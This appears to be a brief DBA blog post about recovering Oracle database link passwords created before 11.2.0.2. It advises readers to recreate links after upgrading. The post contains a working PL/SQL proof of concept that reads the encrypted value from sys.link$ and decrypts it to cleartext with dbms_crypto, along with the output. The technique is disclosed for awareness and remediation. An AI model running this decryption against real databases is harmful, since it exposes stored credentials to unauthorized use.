Hi all,
It’s not a new vulnerability, but a good thing to have personal note about it. Besides the security problem, it can save you from situations you need but don’t have the database link password.
It works only if the database link was created pre-11.2.0.2.
The vulnerability only is exposed if user has one of the follow privileges:
SYS
SYSDBA
DBA
SYS WITHOUT SYSDBA
SYSASM
EXP_FULL_DATABASE
DATAPUMP_EXP_FULL_DATABASE
DATAPUMP_IMP_FULL_DATABASE
Starting with 11.2.0.2, Oracle changed the hashes format for database link passwords, solving this vulnerability. But it only apply to dblinks created in this version or higher.
If you have dblink created when database was on 11.2.0.1, for example, and upgrade the database for 11.2.0.4, the problem remains until you recreate the database link.
So, if you are upgrading database from 11.2.0.1 or lower to 11.2.0.2 or higher, remember to reacreate database links!
The vulnerability was exposed in 2012 by Paul Wright. Here is his PoC.
And there is his post.
To make it different, below I made the same test (using a PLSQL block, to make it prettier) with an upgraded database, from 11.2.0.1 to 11.2.0.4:
testdb11204> select passwordx from sys.link$ where name='MY_DBLINK';
PASSWORDX
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C
1 row selected.
testdb11204> set serveroutput on
testdb11204> declare
2 db_link_password varchar2(100);
3 begin
4 db_link_password := '0540C5B8090D021649C5C614E8E0C242AF33F71C08C535900C';
5 dbms_output.put_line ('Password: ' || utl_raw.cast_to_varchar2 ( dbms_crypto.decrypt ( substr (db_link_password, 19) , dbms_crypto.DES_CBC_PKCS5 , substr (db_link_password, 3, 16) ) ) );
6 end;
7 /
Password: P4SSW0RD
Note that the simple upgrade does not solve the question. Is needed to recreate database link.
Matheus.
